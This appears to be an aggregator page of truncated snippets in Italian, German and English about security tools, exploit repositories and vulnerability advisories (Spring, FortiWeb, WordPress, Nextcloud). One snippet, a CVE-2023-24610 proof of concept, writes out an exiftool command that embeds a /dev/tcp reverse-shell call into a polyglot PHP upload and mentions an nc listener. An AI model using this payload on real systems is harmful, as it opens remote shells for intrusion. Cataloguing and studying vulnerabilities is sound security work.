DbgShell

DbgShell Un front-end PowerShell per il motore di debug di Windows. Pronto per tabulare verso la gloria? Per un'introduzione più rapida, dai un'occhiata a Primi passi. Avvertenze 1. Questo progetto non è prodotto, approvato o monitorato dal team di debug di Windows. Mentre il team di debug accogl...

android

cSploit è ora considerato EOL e non viene aggiornato dagli sviluppatori. La versione corrente potrebbe non funzionare sulle versioni più recenti di Android. Ringraziamo tutti coloro che hanno contribuito a cSploit nel corso degli anni. cSploit: suite di penetration testing per Android cSploit è u...

PatrowlManager

Codacy Abzeichen PatrOwl PatrOwl ist eine skalierbare, kostenlose und quelloffene Lösung zur Orchestrierung von Security Operations. PatrowlManager ist die Frontend-Anwendung zur Verwaltung der Assets, Echtzeit-Risikoanalyse, Orchestrierung der Operationen Scans, Suchen, API-Aufrufe, ...,...

CVE-2024-52510

POC di bypass di X-E2EE-SIGNATURE di Nextcloud Riepilogo Durante il normale funzionamento del protocollo E2EEv2 di Nextcloud, i client firmano crittograficamente i metadati delle cartelle prima di caricarli sul server. Questo garantisce che i metadati non siano stati manomessi quando vengono...

CVE-2025-2005

Exploit di Caricamento File Arbitrario per WordPress FEUP CVE-2025-2005 Questo repository fornisce un exploit Proof of Concept PoC per il plugin WordPress Front End Users versioni fino alla 3.2.32, che è vulnerabile al caricamento file arbitrario a causa della mancata validazione MIME/tipo di fil...

EUVD-2026-67134

Improper neutralization of input during web page generation 'cross-site scripting' vulnerability in Seres Software syWEB allows Reflected XSS. This issue affects syWEB: through 27082026. NOTE: The vendor was contacted and it was learned that the product is not supported...

CVE-2023-24610

CVE-2023-24610 Questa è una prova di concetto per CVE-2023-24610 Iniziamo creando un file poliglotta usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamo il file in png in modo che superi il controllo del front-end Dopo di che, avviamo un listener nc...

CVE-2026-47887

A Spring MVC application that uses UrlFileNameViewController that is mapped with an end-of-path, and does not have a configured prefix is vulnerable to an open redirect. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30...

Tivoli-Madness

Tivoli-Madness Avviso per: CVE-2020-28054: Una vulnerabilità di bypass dell'autorizzazione che interessa JamoDat – TSMManager Collector v. = 6.5.0.21 Un buffer overflow basato sullo stack che interessa IBM Tivoli Storage Manager Interfaccia amministrativa da riga di comando Versione 5, Release 2,...

EUVD-2026-66855

A Spring MVC application that uses UrlFileNameViewController that is mapped with an end-of-path, and does not have a configured prefix is vulnerable to an open redirect. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30...

CVE-2026-47887 Spring Framework Open Redirect in UrlFileNameViewController

A Spring MVC application that uses UrlFileNameViewController that is mapped with an end-of-path, and does not have a configured prefix is vulnerable to an open redirect. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30...

CVE-2026-47887

CVE-2026-47887 is an open redirect in Spring Framework's UrlFileNameViewController when it is mapped with an end-of-path and no configured prefix is set. The vulnerability affects Spring Framework 7.0.0–7.0.8 , 6.2.0–6.2.19 , 6.1.0–6.1.28 , 6.0.0–6.0.30 , 5.3.0–5.3.49 , and 5.2.25.RELEASE and ear...

FortiWeb - Cross Site Scripting

FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points. id: CVE-2021-22122 info: name:...

WordPress Front End Users - Reflected XSS

WordPress Front End Users plugin = 3.2.32 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a...

OpenPLC_v3

OpenPLC Runtime Version 3 ⚠️ Dieses Projekt hat das Ende seiner Lebensdauer erreicht und wird nicht mehr gewartet. Es wurde durch OpenPLC Runtime v4 ersetzt. Bitte besuchen Sie das neue Repository für Installationsanweisungen, Dokumentation und Support. OpenPLC ist eine...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 – Schwachstellenforschung RAPTOR Loop-Hunt Ein Sicherheitsaudit von Liferay Portal CE 7.0.3 GA4 Git-Tag 7.0.3-ga4, Commit b2d7cc68a, durchgeführt mit der RAPTOR-Loop-Hunt -Methodik: deterministische Aufklärung → 25 isolierte Generator-Agenten, die aus dem Rohquellcode lesen →...

orb

Orb — Strumento di Tunneling di Cartelle Zero-Trust Orb è un'utilità sicura, incentrata sul terminale, che ti permette di condividere una cartella locale su Internet utilizzando la crittografia end-to-end. Nessun account, nessun cloud storage, nessun port forwarding richiesto. Dimostrazione...

punchline

punchline Ende-zu-Ende-verschlüsselter Peer-to-Peer-Chat über UDP. Keine Konten, kein zentraler Server, der Nachrichten weiterleitet/speichert, kein Mittelsmann. Nur zwei Peers, eine direkte Verbindung und Noise-Protokoll-Verschlüsselung...

quill-router

TrustedRouter Ende-zu-Ende verschlüsselte LLMs. Eine API. Nachweisbare Privatsphäre. Hör auf, dir Sorgen darüber zu machen, wer deine Prompts sehen kann. Sag deinem Coding-Agenten, er soll dein Projekt umziehen, wähle, wie privat du sein möchtest, wähle ein Modell, füge einen Schlüssel ein –...

syncord

Syncord root@kitploit: $$\ $$ | $$$$$$$\ $$\ $$ $$$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$ | $$ |$$ | $$ |$$ $$\ $$ |$$ $$\ $$ $$\ $$ $$ | $$$$$$\ $$ | $$ |$$ | $$ |$$ / $$ / $$ |$$ | |$$ / $$ | $$\ $$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ | $$ | $$ | $$$$$$$ |$$$$$$$ |$$ | $$ |$$$$$$$\ $$$$$$ |$$ |...